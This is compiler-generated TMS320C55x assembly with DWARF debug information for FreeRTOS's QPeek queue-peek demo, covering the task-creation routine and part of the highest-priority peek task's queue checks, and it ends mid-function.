asm
Assembly
tmp1/c55x-sim2/foo/Debug/QPeek.asm
jwestmoreland/eZdsp-DBG-sim
f6eacd75d4f928dec9c751545e9e919d052e4ade
[ "MIT" ]
1
2020-08-27T11:31:13.000Z
2020-08-27T11:31:13.000Z
tmp1/c55x-sim2/foo/Debug/QPeek.asm
jwestmoreland/eZdsp-DBG-sim
f6eacd75d4f928dec9c751545e9e919d052e4ade
[ "MIT" ]
null
null
null
tmp1/c55x-sim2/foo/Debug/QPeek.asm
jwestmoreland/eZdsp-DBG-sim
f6eacd75d4f928dec9c751545e9e919d052e4ade
[ "MIT" ]
null
null
null
;******************************************************************************* ;* TMS320C55x C/C++ Codegen PC v4.4.1 * ;* Date/Time created: Sat Oct 06 06:38:42 2018 * ;******************************************************************************* .compiler_opts --hll_source=on --mem_model:code=flat --mem_model:data=large --object_format=coff --silicon_core_3_3 --symdebug:dwarf .mmregs .cpl_on .arms_on .c54cm_off .asg AR6, FP .asg XAR6, XFP .asg DPH, MDP .model call=c55_std .model mem=large .noremark 5002 ; code respects overwrite rules ;******************************************************************************* ;* GLOBAL FILE PARAMETERS * ;* * ;* Architecture : TMS320C55x * ;* Optimizing for : Speed * ;* Memory : Large Model (23-Bit Data Pointers) * ;* Calls : Normal Library ASM calls * ;* Debug Info : Standard TI Debug Information * ;******************************************************************************* $C$DW$CU .dwtag DW_TAG_compile_unit .dwattr $C$DW$CU, DW_AT_name("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$CU, DW_AT_producer("TMS320C55x C/C++ Codegen PC v4.4.1 Copyright (c) 1996-2012 Texas Instruments Incorporated") .dwattr $C$DW$CU, DW_AT_TI_version(0x01) .dwattr $C$DW$CU, DW_AT_comp_dir("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug") ;****************************************************************************** ;* CINIT RECORDS * ;****************************************************************************** .sect ".cinit" .align 1 .field 1,16 .field _xErrorDetected+0,24 .field 0,8 .field 0,16 ; _xErrorDetected @ 0 .sect ".cinit" .align 1 .field 2,16 .field _ulLoopCounter+0,24 .field 0,8 .field 0,32 ; _ulLoopCounter @ 0 .sect ".cinit" .align 1 .field 2,16 .field _ulLastLoopCounter$1+0,24 .field 0,8 .field 0,32 ; _ulLastLoopCounter$1 @ 0 $C$DW$1 .dwtag DW_TAG_subprogram, DW_AT_name("xTaskCreate") .dwattr $C$DW$1, DW_AT_TI_symbol_name("_xTaskCreate") .dwattr $C$DW$1, DW_AT_type(*$C$DW$T$51) .dwattr $C$DW$1, DW_AT_declaration .dwattr $C$DW$1, DW_AT_external $C$DW$2 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$2, DW_AT_type(*$C$DW$T$33) $C$DW$3 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$3, DW_AT_type(*$C$DW$T$54) $C$DW$4 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$4, DW_AT_type(*$C$DW$T$56) $C$DW$5 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$5, DW_AT_type(*$C$DW$T$30) $C$DW$6 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$6, DW_AT_type(*$C$DW$T$24) $C$DW$7 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$7, DW_AT_type(*$C$DW$T$58) .dwendtag $C$DW$1 $C$DW$8 .dwtag DW_TAG_subprogram, DW_AT_name("vTaskDelay") .dwattr $C$DW$8, DW_AT_TI_symbol_name("_vTaskDelay") .dwattr $C$DW$8, DW_AT_declaration .dwattr $C$DW$8, DW_AT_external $C$DW$9 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$9, DW_AT_type(*$C$DW$T$35) .dwendtag $C$DW$8 $C$DW$10 .dwtag DW_TAG_subprogram, DW_AT_name("vTaskSuspend") .dwattr $C$DW$10, DW_AT_TI_symbol_name("_vTaskSuspend") .dwattr $C$DW$10, DW_AT_declaration .dwattr $C$DW$10, DW_AT_external $C$DW$11 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$11, DW_AT_type(*$C$DW$T$39) .dwendtag $C$DW$10 $C$DW$12 .dwtag DW_TAG_subprogram, DW_AT_name("vTaskResume") .dwattr $C$DW$12, DW_AT_TI_symbol_name("_vTaskResume") .dwattr $C$DW$12, DW_AT_declaration .dwattr $C$DW$12, DW_AT_external $C$DW$13 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$13, DW_AT_type(*$C$DW$T$39) .dwendtag $C$DW$12 $C$DW$14 .dwtag DW_TAG_subprogram, DW_AT_name("xQueueGenericSend") .dwattr $C$DW$14, DW_AT_TI_symbol_name("_xQueueGenericSend") .dwattr $C$DW$14, DW_AT_type(*$C$DW$T$51) .dwattr $C$DW$14, DW_AT_declaration .dwattr $C$DW$14, DW_AT_external $C$DW$15 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$15, DW_AT_type(*$C$DW$T$22) $C$DW$16 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$16, DW_AT_type(*$C$DW$T$44) $C$DW$17 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$17, DW_AT_type(*$C$DW$T$34) $C$DW$18 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$18, DW_AT_type(*$C$DW$T$52) .dwendtag $C$DW$14 $C$DW$19 .dwtag DW_TAG_subprogram, DW_AT_name("xQueuePeek") .dwattr $C$DW$19, DW_AT_TI_symbol_name("_xQueuePeek") .dwattr $C$DW$19, DW_AT_type(*$C$DW$T$51) .dwattr $C$DW$19, DW_AT_declaration .dwattr $C$DW$19, DW_AT_external $C$DW$20 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$20, DW_AT_type(*$C$DW$T$22) $C$DW$21 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$21, DW_AT_type(*$C$DW$T$30) $C$DW$22 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$22, DW_AT_type(*$C$DW$T$34) .dwendtag $C$DW$19 $C$DW$23 .dwtag DW_TAG_subprogram, DW_AT_name("xQueueReceive") .dwattr $C$DW$23, DW_AT_TI_symbol_name("_xQueueReceive") .dwattr $C$DW$23, DW_AT_type(*$C$DW$T$51) .dwattr $C$DW$23, DW_AT_declaration .dwattr $C$DW$23, DW_AT_external $C$DW$24 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$24, DW_AT_type(*$C$DW$T$22) $C$DW$25 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$25, DW_AT_type(*$C$DW$T$30) $C$DW$26 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$26, DW_AT_type(*$C$DW$T$34) .dwendtag $C$DW$23 $C$DW$27 .dwtag DW_TAG_subprogram, DW_AT_name("uxQueueMessagesWaiting") .dwattr $C$DW$27, DW_AT_TI_symbol_name("_uxQueueMessagesWaiting") .dwattr $C$DW$27, DW_AT_type(*$C$DW$T$24) .dwattr $C$DW$27, DW_AT_declaration .dwattr $C$DW$27, DW_AT_external $C$DW$28 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$28, DW_AT_type(*$C$DW$T$23) .dwendtag $C$DW$27 $C$DW$29 .dwtag DW_TAG_subprogram, DW_AT_name("vQueueAddToRegistry") .dwattr $C$DW$29, DW_AT_TI_symbol_name("_vQueueAddToRegistry") .dwattr $C$DW$29, DW_AT_declaration .dwattr $C$DW$29, DW_AT_external $C$DW$30 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$30, DW_AT_type(*$C$DW$T$22) $C$DW$31 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$31, DW_AT_type(*$C$DW$T$47) .dwendtag $C$DW$29 $C$DW$32 .dwtag DW_TAG_subprogram, DW_AT_name("xQueueGenericCreate") .dwattr $C$DW$32, DW_AT_TI_symbol_name("_xQueueGenericCreate") .dwattr $C$DW$32, DW_AT_type(*$C$DW$T$22) .dwattr $C$DW$32, DW_AT_declaration .dwattr $C$DW$32, DW_AT_external $C$DW$33 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$33, DW_AT_type(*$C$DW$T$25) $C$DW$34 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$34, DW_AT_type(*$C$DW$T$25) $C$DW$35 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$35, DW_AT_type(*$C$DW$T$27) .dwendtag $C$DW$32 .bss _xErrorDetected,1,0,0 $C$DW$36 .dwtag DW_TAG_variable, DW_AT_name("xErrorDetected") .dwattr $C$DW$36, DW_AT_TI_symbol_name("_xErrorDetected") .dwattr $C$DW$36, DW_AT_type(*$C$DW$T$53) .dwattr $C$DW$36, DW_AT_location[DW_OP_addr _xErrorDetected] .bss _ulLoopCounter,2,0,2 $C$DW$37 .dwtag DW_TAG_variable, DW_AT_name("ulLoopCounter") .dwattr $C$DW$37, DW_AT_TI_symbol_name("_ulLoopCounter") .dwattr $C$DW$37, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$37, DW_AT_location[DW_OP_addr _ulLoopCounter] .global _xMediumPriorityTask .bss _xMediumPriorityTask,2,0,2 $C$DW$38 .dwtag DW_TAG_variable, DW_AT_name("xMediumPriorityTask") .dwattr $C$DW$38, DW_AT_TI_symbol_name("_xMediumPriorityTask") .dwattr $C$DW$38, DW_AT_location[DW_OP_addr _xMediumPriorityTask] .dwattr $C$DW$38, DW_AT_type(*$C$DW$T$39) .dwattr $C$DW$38, DW_AT_external .global _xHighPriorityTask .bss _xHighPriorityTask,2,0,2 $C$DW$39 .dwtag DW_TAG_variable, DW_AT_name("xHighPriorityTask") .dwattr $C$DW$39, DW_AT_TI_symbol_name("_xHighPriorityTask") .dwattr $C$DW$39, DW_AT_location[DW_OP_addr _xHighPriorityTask] .dwattr $C$DW$39, DW_AT_type(*$C$DW$T$39) .dwattr $C$DW$39, DW_AT_external .global _xHighestPriorityTask .bss _xHighestPriorityTask,2,0,2 $C$DW$40 .dwtag DW_TAG_variable, DW_AT_name("xHighestPriorityTask") .dwattr $C$DW$40, DW_AT_TI_symbol_name("_xHighestPriorityTask") .dwattr $C$DW$40, DW_AT_location[DW_OP_addr _xHighestPriorityTask] .dwattr $C$DW$40, DW_AT_type(*$C$DW$T$39) .dwattr $C$DW$40, DW_AT_external .bss _ulLastLoopCounter$1,2,0,2 ; F:\t\cc5p5\ccsv5\tools\compiler\c5500_4.4.1\bin\acp55.exe -@f:\\AppData\\Local\\Temp\\0849212 .sect ".text" .align 4 .global _vStartQueuePeekTasks $C$DW$41 .dwtag DW_TAG_subprogram, DW_AT_name("vStartQueuePeekTasks") .dwattr $C$DW$41, DW_AT_low_pc(_vStartQueuePeekTasks) .dwattr $C$DW$41, DW_AT_high_pc(0x00) .dwattr $C$DW$41, DW_AT_TI_symbol_name("_vStartQueuePeekTasks") .dwattr $C$DW$41, DW_AT_external .dwattr $C$DW$41, DW_AT_TI_begin_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$41, DW_AT_TI_begin_line(0x51) .dwattr $C$DW$41, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$41, DW_AT_TI_max_frame_size(0x04) .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 82,column 1,is_stmt,address _vStartQueuePeekTasks .dwfde $C$DW$CIE, _vStartQueuePeekTasks ;******************************************************************************* ;* FUNCTION NAME: vStartQueuePeekTasks * ;* * ;* Function Uses Regs : AC0,AC0,T0,T1,AR0,XAR0,AR1,XAR1,AR2,XAR2,AR3,XAR3,SP,* ;* M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 4 words * ;* (2 return address/alignment) * ;* (2 local values) * ;* Min System Stack : 1 word * ;******************************************************************************* _vStartQueuePeekTasks: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 AADD #-3, SP .dwcfi cfa_offset, 4 $C$DW$42 .dwtag DW_TAG_variable, DW_AT_name("xQueue") .dwattr $C$DW$42, DW_AT_TI_symbol_name("_xQueue") .dwattr $C$DW$42, DW_AT_type(*$C$DW$T$22) .dwattr $C$DW$42, DW_AT_location[DW_OP_bregx 0x24 0] .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 86,column 2,is_stmt MOV #5, T0 || MOV #2, T1 $C$DW$43 .dwtag DW_TAG_TI_branch .dwattr $C$DW$43, DW_AT_low_pc(0x00) .dwattr $C$DW$43, DW_AT_name("_xQueueGenericCreate") .dwattr $C$DW$43, DW_AT_TI_call CALL #_xQueueGenericCreate ; |86| || MOV #0, AR0 ; call occurs [#_xQueueGenericCreate] ; |86| MOV XAR0, dbl(*SP(#0)) .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 88,column 2,is_stmt MOV dbl(*SP(#0)), XAR3 MOV XAR3, AC0 BCC $C$L1,AC0 == #0 ; |88| ; branchcc occurs ; |88| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 96,column 3,is_stmt AMOV #$C$FSL1, XAR1 ; |96| $C$DW$44 .dwtag DW_TAG_TI_branch .dwattr $C$DW$44, DW_AT_low_pc(0x00) .dwattr $C$DW$44, DW_AT_name("_vQueueAddToRegistry") .dwattr $C$DW$44, DW_AT_TI_call CALL #_vQueueAddToRegistry ; |96| ; call occurs [#_vQueueAddToRegistry] ; |96| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 101,column 3,is_stmt MOV #(_prvLowPriorityPeekTask >> 16) << #16, AC0 ; |101| MOV #256, T0 ; |101| AMOV #0, XAR2 ; |101| AMOV #$C$FSL2, XAR0 ; |101| MOV dbl(*SP(#0)), XAR1 OR #(_prvLowPriorityPeekTask & 0xffff), AC0, AC0 ; |101| $C$DW$45 .dwtag DW_TAG_TI_branch .dwattr $C$DW$45, DW_AT_low_pc(0x00) .dwattr $C$DW$45, DW_AT_name("_xTaskCreate") .dwattr $C$DW$45, DW_AT_TI_call CALL #_xTaskCreate ; |101| || MOV #0, T1 ; call occurs [#_xTaskCreate] ; |101| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 102,column 3,is_stmt MOV #256, T0 ; |102| AMOV #_xMediumPriorityTask, XAR2 ; |102| AMOV #$C$FSL3, XAR0 ; |102| MOV dbl(*SP(#0)), XAR1 MOV #(_prvMediumPriorityPeekTask >> 16) << #16, AC0 ; |102| OR #(_prvMediumPriorityPeekTask & 0xffff), AC0, AC0 ; |102| $C$DW$46 .dwtag DW_TAG_TI_branch .dwattr $C$DW$46, DW_AT_low_pc(0x00) .dwattr $C$DW$46, DW_AT_name("_xTaskCreate") .dwattr $C$DW$46, DW_AT_TI_call CALL #_xTaskCreate ; |102| || MOV #1, T1 ; call occurs [#_xTaskCreate] ; |102| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 103,column 3,is_stmt MOV #256, T0 ; |103| AMOV #_xHighPriorityTask, XAR2 ; |103| AMOV #$C$FSL4, XAR0 ; |103| MOV dbl(*SP(#0)), XAR1 MOV #(_prvHighPriorityPeekTask >> 16) << #16, AC0 ; |103| OR #(_prvHighPriorityPeekTask & 0xffff), AC0, AC0 ; |103| $C$DW$47 .dwtag DW_TAG_TI_branch .dwattr $C$DW$47, DW_AT_low_pc(0x00) .dwattr $C$DW$47, DW_AT_name("_xTaskCreate") .dwattr $C$DW$47, DW_AT_TI_call CALL #_xTaskCreate ; |103| || MOV #2, T1 ; call occurs [#_xTaskCreate] ; |103| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 104,column 3,is_stmt MOV #256, T0 ; |104| AMOV #_xHighestPriorityTask, XAR2 ; |104| AMOV #$C$FSL5, XAR0 ; |104| MOV dbl(*SP(#0)), XAR1 MOV #(_prvHighestPriorityPeekTask >> 16) << #16, AC0 ; |104| OR #(_prvHighestPriorityPeekTask & 0xffff), AC0, AC0 ; |104| || MOV #3, T1 $C$DW$48 .dwtag DW_TAG_TI_branch .dwattr $C$DW$48, DW_AT_low_pc(0x00) .dwattr $C$DW$48, DW_AT_name("_xTaskCreate") .dwattr $C$DW$48, DW_AT_TI_call CALL #_xTaskCreate ; |104| ; call occurs [#_xTaskCreate] ; |104| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 106,column 1,is_stmt $C$L1: AADD #3, SP .dwcfi cfa_offset, 1 $C$DW$49 .dwtag DW_TAG_TI_branch .dwattr $C$DW$49, DW_AT_low_pc(0x00) .dwattr $C$DW$49, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$41, DW_AT_TI_end_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$41, DW_AT_TI_end_line(0x6a) .dwattr $C$DW$41, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$41 .sect ".text" .align 4 $C$DW$50 .dwtag DW_TAG_subprogram, DW_AT_name("prvHighestPriorityPeekTask") .dwattr $C$DW$50, DW_AT_low_pc(_prvHighestPriorityPeekTask) .dwattr $C$DW$50, DW_AT_high_pc(0x00) .dwattr $C$DW$50, DW_AT_TI_symbol_name("_prvHighestPriorityPeekTask") .dwattr $C$DW$50, DW_AT_TI_begin_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$50, DW_AT_TI_begin_line(0x6d) .dwattr $C$DW$50, DW_AT_TI_begin_column(0x0d) .dwattr $C$DW$50, DW_AT_TI_max_frame_size(0x0c) .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 110,column 1,is_stmt,address _prvHighestPriorityPeekTask .dwfde $C$DW$CIE, _prvHighestPriorityPeekTask $C$DW$51 .dwtag DW_TAG_formal_parameter, DW_AT_name("pvParameters") .dwattr $C$DW$51, DW_AT_TI_symbol_name("_pvParameters") .dwattr $C$DW$51, DW_AT_type(*$C$DW$T$3) .dwattr $C$DW$51, DW_AT_location[DW_OP_reg17] ;******************************************************************************* ;* FUNCTION NAME: prvHighestPriorityPeekTask * ;* * ;* Function Uses Regs : AC0,AC0,AC1,AC1,T0,T2,T3,AR0,XAR0,AR1,XAR1,AR3,XAR3, * ;* AR5,AR6,AR7,SP,TC1,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Save On Entry Regs : T2,T3,AR5,AR6,AR7 * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 12 words * ;* (1 return address/alignment) * ;* (6 local values) * ;* (5 register save area) * ;* Min System Stack : 4 words * ;******************************************************************************* _prvHighestPriorityPeekTask: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 PSH T2 .dwcfi cfa_offset, 2 .dwcfi save_reg_to_mem, 14, -2 PSH T3 .dwcfi cfa_offset, 3 .dwcfi save_reg_to_mem, 15, -3 PSHBOTH XAR5 .dwcfi cfa_offset, 4 .dwcfi save_reg_to_mem, 26, -4 PSHBOTH XAR6 .dwcfi cfa_offset, 5 .dwcfi save_reg_to_mem, 28, -5 PSHBOTH XAR7 .dwcfi cfa_offset, 6 .dwcfi save_reg_to_mem, 30, -6 AADD #-6, SP .dwcfi cfa_offset, 12 $C$DW$52 .dwtag DW_TAG_variable, DW_AT_name("pvParameters") .dwattr $C$DW$52, DW_AT_TI_symbol_name("_pvParameters") .dwattr $C$DW$52, DW_AT_type(*$C$DW$T$3) .dwattr $C$DW$52, DW_AT_location[DW_OP_bregx 0x24 0] $C$DW$53 .dwtag DW_TAG_variable, DW_AT_name("xQueue") .dwattr $C$DW$53, DW_AT_TI_symbol_name("_xQueue") .dwattr $C$DW$53, DW_AT_type(*$C$DW$T$22) .dwattr $C$DW$53, DW_AT_location[DW_OP_bregx 0x24 2] $C$DW$54 .dwtag DW_TAG_variable, DW_AT_name("ulValue") .dwattr $C$DW$54, DW_AT_TI_symbol_name("_ulValue") .dwattr $C$DW$54, DW_AT_type(*$C$DW$T$68) .dwattr $C$DW$54, DW_AT_location[DW_OP_bregx 0x24 4] MOV XAR0, dbl(*SP(#0)) .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 111,column 15,is_stmt MOV #1, AR6 || MOV #1, AR5 MOV #1, AR7 || MOV #1, T3 MOV dbl(*SP(#0)), XAR3 MOV XAR3, dbl(*SP(#2)) || MOV #1, T2 $C$L2: $C$DW$L$_prvHighestPriorityPeekTask$2$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 129,column 3,is_stmt MOV #-1 << #16, AC0 ; |129| MOV dbl(*SP(#2)), XAR0 AMAR *SP(#4), XAR1 OR #0xffff, AC0, AC0 ; |129| $C$DW$55 .dwtag DW_TAG_TI_branch .dwattr $C$DW$55, DW_AT_low_pc(0x00) .dwattr $C$DW$55, DW_AT_name("_xQueuePeek") .dwattr $C$DW$55, DW_AT_TI_call CALL #_xQueuePeek ; |129| ; call occurs [#_xQueuePeek] ; |129| MOV #1, AR1 CMP T0 == AR1, TC1 ; |129| BCC $C$L3,TC1 ; |129| ; branchcc occurs ; |129| $C$DW$L$_prvHighestPriorityPeekTask$2$E: $C$DW$L$_prvHighestPriorityPeekTask$3$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 132,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |132| $C$DW$L$_prvHighestPriorityPeekTask$3$E: $C$L3: $C$DW$L$_prvHighestPriorityPeekTask$4$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 141,column 3,is_stmt MOV #4386 << #16, AC0 ; |141| MOV dbl(*SP(#4)), AC1 ; |141| OR #0x3344, AC0, AC0 ; |141| CMPU AC1 == AC0, TC1 ; |141| BCC $C$L4,TC1 ; |141| ; branchcc occurs ; |141| $C$DW$L$_prvHighestPriorityPeekTask$4$E: $C$DW$L$_prvHighestPriorityPeekTask$5$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 144,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |144| $C$DW$L$_prvHighestPriorityPeekTask$5$E: $C$L4: $C$DW$L$_prvHighestPriorityPeekTask$6$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 147,column 3,is_stmt MOV dbl(*SP(#2)), XAR0 $C$DW$56 .dwtag DW_TAG_TI_branch .dwattr $C$DW$56, DW_AT_low_pc(0x00) .dwattr $C$DW$56, DW_AT_name("_uxQueueMessagesWaiting") .dwattr $C$DW$56, DW_AT_TI_call CALL #_uxQueueMessagesWaiting ; |147| ; call occurs [#_uxQueueMessagesWaiting] ; |147| CMPU T0 == AR7, TC1 ; |147| BCC $C$L5,TC1 ; |147| ; branchcc occurs ; |147| $C$DW$L$_prvHighestPriorityPeekTask$6$E: $C$DW$L$_prvHighestPriorityPeekTask$7$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 150,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |150| $C$DW$L$_prvHighestPriorityPeekTask$7$E: $C$L5: $C$DW$L$_prvHighestPriorityPeekTask$8$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 156,column 3,is_stmt MOV #0, AC0 ; |156| MOV AC0, dbl(*SP(#4)) ; |156| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 157,column 3,is_stmt AMAR *SP(#4), XAR1 MOV dbl(*SP(#2)), XAR0 $C$DW$57 .dwtag DW_TAG_TI_branch .dwattr $C$DW$57, DW_AT_low_pc(0x00) .dwattr $C$DW$57, DW_AT_name("_xQueueReceive") .dwattr $C$DW$57, DW_AT_TI_call CALL #_xQueueReceive ; |157| ; call occurs [#_xQueueReceive] ; |157| CMP T0 == AR6, TC1 ; |157| BCC $C$L6,TC1 ; |157| ; branchcc occurs ; |157| $C$DW$L$_prvHighestPriorityPeekTask$8$E: $C$DW$L$_prvHighestPriorityPeekTask$9$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 160,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |160| $C$DW$L$_prvHighestPriorityPeekTask$9$E: $C$L6: $C$DW$L$_prvHighestPriorityPeekTask$10$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 163,column 3,is_stmt MOV #4386 << #16, AC0 ; |163| MOV dbl(*SP(#4)), AC1 ; |163| OR #0x3344, AC0, AC0 ; |163| CMPU AC1 == AC0, TC1 ; |163| BCC $C$L7,TC1 ; |163| ; branchcc occurs ; |163| $C$DW$L$_prvHighestPriorityPeekTask$10$E: $C$DW$L$_prvHighestPriorityPeekTask$11$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 167,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |167| $C$DW$L$_prvHighestPriorityPeekTask$11$E: $C$L7: $C$DW$L$_prvHighestPriorityPeekTask$12$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 172,column 3,is_stmt MOV #-1 << #16, AC0 ; |172| MOV dbl(*SP(#2)), XAR0 AMAR *SP(#4), XAR1 OR #0xffff, AC0, AC0 ; |172| $C$DW$58 .dwtag DW_TAG_TI_branch .dwattr $C$DW$58, DW_AT_low_pc(0x00) .dwattr $C$DW$58, DW_AT_name("_xQueuePeek") .dwattr $C$DW$58, DW_AT_TI_call CALL #_xQueuePeek ; |172| ; call occurs [#_xQueuePeek] ; |172| CMP T0 == AR5, TC1 ; |172| BCC $C$L8,TC1 ; |172| ; branchcc occurs ; |172| $C$DW$L$_prvHighestPriorityPeekTask$12$E: $C$DW$L$_prvHighestPriorityPeekTask$13$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 175,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |175| $C$DW$L$_prvHighestPriorityPeekTask$13$E: $C$L8: $C$DW$L$_prvHighestPriorityPeekTask$14$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 180,column 3,is_stmt MOV #291 << #16, AC0 ; |180| MOV dbl(*SP(#4)), AC1 ; |180| OR #0x4567, AC0, AC0 ; |180| CMPU AC1 == AC0, TC1 ; |180| BCC $C$L9,TC1 ; |180| ; branchcc occurs ; |180| $C$DW$L$_prvHighestPriorityPeekTask$14$E: $C$DW$L$_prvHighestPriorityPeekTask$15$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 183,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |183| $C$DW$L$_prvHighestPriorityPeekTask$15$E: $C$L9: $C$DW$L$_prvHighestPriorityPeekTask$16$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 186,column 3,is_stmt MOV dbl(*SP(#2)), XAR0 $C$DW$59 .dwtag DW_TAG_TI_branch .dwattr $C$DW$59, DW_AT_low_pc(0x00) .dwattr $C$DW$59, DW_AT_name("_uxQueueMessagesWaiting") .dwattr $C$DW$59, DW_AT_TI_call CALL #_uxQueueMessagesWaiting ; |186| ; call occurs [#_uxQueueMessagesWaiting] ; |186| CMPU T0 == T3, TC1 ; |186| BCC $C$L10,TC1 ; |186| ; branchcc occurs ; |186| $C$DW$L$_prvHighestPriorityPeekTask$16$E: $C$DW$L$_prvHighestPriorityPeekTask$17$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 189,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |189| $C$DW$L$_prvHighestPriorityPeekTask$17$E: $C$L10: $C$DW$L$_prvHighestPriorityPeekTask$18$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 196,column 3,is_stmt AMOV #0, XAR0 ; |196| $C$DW$60 .dwtag DW_TAG_TI_branch .dwattr $C$DW$60, DW_AT_low_pc(0x00) .dwattr $C$DW$60, DW_AT_name("_vTaskSuspend") .dwattr $C$DW$60, DW_AT_TI_call CALL #_vTaskSuspend ; |196| ; call occurs [#_vTaskSuspend] ; |196| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 203,column 3,is_stmt MOV #-1 << #16, AC0 ; |203| AMAR *SP(#4), XAR1 MOV dbl(*SP(#2)), XAR0 OR #0xffff, AC0, AC0 ; |203| $C$DW$61 .dwtag DW_TAG_TI_branch .dwattr $C$DW$61, DW_AT_low_pc(0x00) .dwattr $C$DW$61, DW_AT_name("_xQueuePeek") .dwattr $C$DW$61, DW_AT_TI_call CALL #_xQueuePeek ; |203| ; call occurs [#_xQueuePeek] ; |203| CMP T0 == T2, TC1 ; |203| BCC $C$L11,TC1 ; |203| ; branchcc occurs ; |203| $C$DW$L$_prvHighestPriorityPeekTask$18$E: $C$DW$L$_prvHighestPriorityPeekTask$19$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 205,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |205| $C$DW$L$_prvHighestPriorityPeekTask$19$E: $C$L11: $C$DW$L$_prvHighestPriorityPeekTask$20$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 208,column 3,is_stmt MOV #-21829 << #16, AC0 ; |208| MOV dbl(*SP(#4)), AC1 ; |208| OR #0xaabb, AC0, AC0 ; |208| CMPU AC1 == AC0, TC1 ; |208| BCC $C$L12,TC1 ; |208| ; branchcc occurs ; |208| $C$DW$L$_prvHighestPriorityPeekTask$20$E: $C$DW$L$_prvHighestPriorityPeekTask$21$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 210,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |210| $C$DW$L$_prvHighestPriorityPeekTask$21$E: $C$L12: $C$DW$L$_prvHighestPriorityPeekTask$22$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 213,column 3,is_stmt AMOV #0, XAR0 ; |213| 